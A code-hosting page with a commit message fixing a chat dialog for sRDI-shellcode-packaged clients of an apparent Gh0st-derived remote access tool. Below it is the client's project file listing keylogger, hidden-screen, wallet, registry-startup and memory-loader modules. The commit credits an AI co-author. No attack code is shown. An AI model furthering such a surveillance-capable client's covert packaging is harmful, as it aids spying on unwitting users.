Clients packaged as SC_AES/sRDI shellcode run the payload image as raw shellcode inside the loader stub, so the instant-message manager was handed the stub's module handle. The stub's resource section carries no IDD_DIALOG, and Windows rejects resource APIs on manually mapped images, so DialogBoxParamA failed (error 1812 on Windows 11) and the bottom-right popup never appeared after the operator sent a message. The popup now falls back to an embedded compiled dialog template generated from the IDD_DIALOG block in Script.rc and verified byte-for-byte against the resource in the built ghost.exe. When the resource lookup fails, the dialog is created with DialogBoxIndirectParamA instead. Deployments where the resource lookup already works keep the original path unchanged. The incoming text is now terminated at the copied length. The server sends the message body without a trailing NUL, so a message that filled the 1024-byte buffer left SetDlgItemText reading past the end. The title is now set with SetWindowTextW before the window is shown. DialogBoxParamA converts the template's UTF-16 caption through the system ANSI code page, so the Chinese title turned into "???" on 1252 systems (verified locally with a caption containing a character outside CP936). The title follows the UI language: Chinese systems keep the Chinese title, everything else shows "Message". The message body still uses the ANSI path, preserving the existing per-ACP semantics. Co-Authored-By: deepseek-flash
142 lines
5.9 KiB
XML
142 lines
5.9 KiB
XML
<?xml version="1.0" encoding="utf-8"?>
|
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
<ItemGroup>
|
|
<ClCompile Include="..\common\ikcp.c" />
|
|
<ClCompile Include="..\common\zstd_wrapper.c" />
|
|
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
|
<ClCompile Include="Audio.cpp" />
|
|
<ClCompile Include="AudioManager.cpp" />
|
|
<ClCompile Include="Buffer.cpp" />
|
|
<ClCompile Include="CaptureVideo.cpp" />
|
|
<ClCompile Include="clang_rt_compat.c" />
|
|
<ClCompile Include="ClientDll.cpp" />
|
|
<ClCompile Include="Common.cpp" />
|
|
<ClCompile Include="FileManager.cpp" />
|
|
<ClCompile Include="IOCPClient.cpp" />
|
|
<ClCompile Include="IOCPKCPClient.cpp" />
|
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
|
<ClCompile Include="KernelManager.cpp" />
|
|
<ClCompile Include="KeyboardManager.cpp" />
|
|
<ClCompile Include="keylogger.cpp" />
|
|
<ClCompile Include="Loader.cpp" />
|
|
<ClCompile Include="LoginServer.cpp" />
|
|
<ClCompile Include="Manager.cpp" />
|
|
<ClCompile Include="MemoryModule.c" />
|
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
|
<ClCompile Include="RegisterManager.cpp" />
|
|
<ClCompile Include="RegisterOperation.cpp" />
|
|
<ClCompile Include="SafeThread.cpp" />
|
|
<ClCompile Include="ScreenManager.cpp" />
|
|
<ClCompile Include="ScreenPreview.cpp" />
|
|
<ClCompile Include="ScreenSpy.cpp" />
|
|
<ClCompile Include="ServicesManager.cpp" />
|
|
<ClCompile Include="ShellManager.cpp" />
|
|
<ClCompile Include="StdAfx.cpp" />
|
|
<ClCompile Include="SystemManager.cpp" />
|
|
<ClCompile Include="TalkManager.cpp" />
|
|
<ClCompile Include="VideoManager.cpp" />
|
|
<ClCompile Include="X264Encoder.cpp" />
|
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
|
<ClCompile Include="EncoderFactory.cpp" />
|
|
<ClCompile Include="..\common\file_upload.cpp" />
|
|
<ClCompile Include="ConPTYManager.cpp" />
|
|
<ClCompile Include="ConnectionsManager.cpp" />
|
|
<ClCompile Include="session.cpp" />
|
|
<ClCompile Include="reg_startup.c" />
|
|
<ClCompile Include="ServiceWrapper.c" />
|
|
<ClCompile Include="SessionMonitor.c" />
|
|
<ClCompile Include="ActivityHistory.cpp" />
|
|
<ClCompile Include="ClientLogManager.cpp" />
|
|
<ClCompile Include="file\FileManager.cpp" />
|
|
<ClCompile Include="file\MasterEncoder.cpp" />
|
|
<ClCompile Include="file\zip.cpp" />
|
|
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
|
<ClCompile Include="DrawingBoardMgr.cpp" />
|
|
<ClCompile Include="ChatManager.cpp" />
|
|
<ClCompile Include="MachineManager.cpp" />
|
|
<ClCompile Include="TlsChannel.cpp" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<ClInclude Include="..\common\file_upload.h" />
|
|
<ClInclude Include="..\common\ikcp.h" />
|
|
<ClInclude Include="..\common\location.h" />
|
|
<ClInclude Include="..\common\wallet.h" />
|
|
<ClInclude Include="..\common\zstd_wrapper.h" />
|
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
|
<ClInclude Include="Audio.h" />
|
|
<ClInclude Include="AudioManager.h" />
|
|
<ClInclude Include="Buffer.h" />
|
|
<ClInclude Include="CaptureVideo.h" />
|
|
<ClInclude Include="clip.h" />
|
|
<ClInclude Include="Common.h" />
|
|
<ClInclude Include="ConnectionsManager.h" />
|
|
<ClInclude Include="CursorInfo.h" />
|
|
<ClInclude Include="FileManager.h" />
|
|
<ClInclude Include="IOCPClient.h" />
|
|
<ClInclude Include="IOCPKCPClient.h" />
|
|
<ClInclude Include="IOCPUDPClient.h" />
|
|
<ClInclude Include="KernelManager.h" />
|
|
<ClInclude Include="KeyboardManager.h" />
|
|
<ClInclude Include="keylogger.h" />
|
|
<ClInclude Include="LoginServer.h" />
|
|
<ClInclude Include="Manager.h" />
|
|
<ClInclude Include="MemoryModule.h" />
|
|
<ClInclude Include="proxy\ProxyManager.h" />
|
|
<ClInclude Include="RegisterManager.h" />
|
|
<ClInclude Include="RegisterOperation.h" />
|
|
<ClInclude Include="resource.h" />
|
|
<ClInclude Include="SafeThread.h" />
|
|
<ClInclude Include="ScreenCapture.h" />
|
|
<ClInclude Include="ScreenCapturerDXGI.h" />
|
|
<ClInclude Include="ScreenManager.h" />
|
|
<ClInclude Include="ScreenPreview.h" />
|
|
<ClInclude Include="ScreenSpy.h" />
|
|
<ClInclude Include="ServicesManager.h" />
|
|
<ClInclude Include="ShellManager.h" />
|
|
<ClInclude Include="StdAfx.h" />
|
|
<ClInclude Include="SystemManager.h" />
|
|
<ClInclude Include="TalkManager.h" />
|
|
<ClInclude Include="VideoCodec.h" />
|
|
<ClInclude Include="VideoManager.h" />
|
|
<ClInclude Include="X264Encoder.h" />
|
|
<ClInclude Include="VideoEncoderBase.h" />
|
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
|
<ClInclude Include="EncoderFactory.h" />
|
|
<ClInclude Include="ConPTYManager.h" />
|
|
<ClInclude Include="session.h" />
|
|
<ClInclude Include="reg_startup.h" />
|
|
<ClInclude Include="ServiceWrapper.h" />
|
|
<ClInclude Include="SessionMonitor.h" />
|
|
<ClInclude Include="ActivityHistory.h" />
|
|
<ClInclude Include="ClientLogManager.h" />
|
|
<ClInclude Include="file\FileManager.h" />
|
|
<ClInclude Include="file\MasterEncoder.h" />
|
|
<ClInclude Include="file\zip.h" />
|
|
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
|
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
|
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
|
<ClInclude Include="DrawingBoardMgr.h" />
|
|
<ClInclude Include="ChatManager.h" />
|
|
<ClInclude Include="ChatDialogTemplate.h" />
|
|
<ClInclude Include="TalkDialogTemplate.h" />
|
|
<ClInclude Include="ImageResource.h" />
|
|
<ClInclude Include="MachineManager.h" />
|
|
<ClInclude Include="yapi.hpp" />
|
|
<ClInclude Include="TlsChannel.h" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<ResourceCompile Include="Script.rc" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<Media Include="Res\msg.wav" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<Image Include="Res\ghost.ico" />
|
|
<Image Include="Res\msg.ico" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<None Include="ExportFunTable.def" />
|
|
</ItemGroup>
|
|
</Project> |